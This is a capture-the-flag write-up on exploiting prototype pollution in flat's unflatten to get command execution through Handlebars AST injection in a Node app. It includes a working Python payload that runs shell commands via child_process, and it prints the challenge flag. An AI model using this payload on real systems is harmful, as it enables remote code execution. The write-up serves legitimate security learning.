HTB CTF Write-up: Gunship
The HTB x Uni CTF 2020 - Qualifiers have just finished and I wanted write-up some of the more interesting challenges that we completed.
The HTB x Uni CTF 2020 - Qualifiers have just finished and I wanted write-up some of the more interesting challenges that we completed.
As with many of the challenges the full source code was available including the files necessary to build and run a local docker instance of the service.
Summary
Gunship was a node web application that was vulnerable to prototype pollution.
Walk Through
This is a simple yet beautifully designed node web application that contains a single user input, hinting towards where to find the vulnerability.
Inspection of the source code reveals a comment that hints towards the exploit being caused by prototype pollution in unflatten.
unflatten seems outdated and a bit vulnerable to prototype pollution we sure hope so that po6ix doesn’t pwn our puny app with his AST injection on template engines
const path = require('path');
const express = require('express');
const handlebars = require('handlebars');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
// unflatten seems outdated and a bit vulnerable to prototype pollution
// we sure hope so that po6ix doesn't pwn our puny app with his AST injection on template engines
const { artist } = unflatten(req.body);
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': handlebars.compile('Hello {{ user }}, thank you for letting us know!')({ user:'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});
module.exports = router;
Some google-fu leads us pretty quickly to the following site with a POC by posix on a protype pollution in AST:
The proof of concept from the site above only required minor changes in order to get command execution. Note that bash
is not available inside the docker container, we could use sh
instead but as we only need to grab the flag we can just use simple commands.
import requests
TARGET_URL = 'http://localhost:1337'
TARGET_URL = 'http://docker.hackthebox.eu:30448'
# make pollution
r = requests.post(TARGET_URL+'/api/submit', json = {
"artist.name":"Gingell",
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`whoami > /app/static/out`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
print(r.status_code)
print(r.text)
print(requests.get(TARGET_URL+'/static/out').text)
The command execution is blind, however as we know that the path to the static folder is /app/static
we can write files into this path and then request them to see the output.
A quick ls > /app/static/out
and browsing to /static/out
shows that there is a flag in the current folder.
Changing the command to cat flag* > /app/static/out
and browsing to /static/out
again gives us the flag:
This gives us the flag for this challenge:
HTB{wh3n_l1f3_g1v3s_y0u_p6_st4rt_p0llut1ng_w1th_styl3}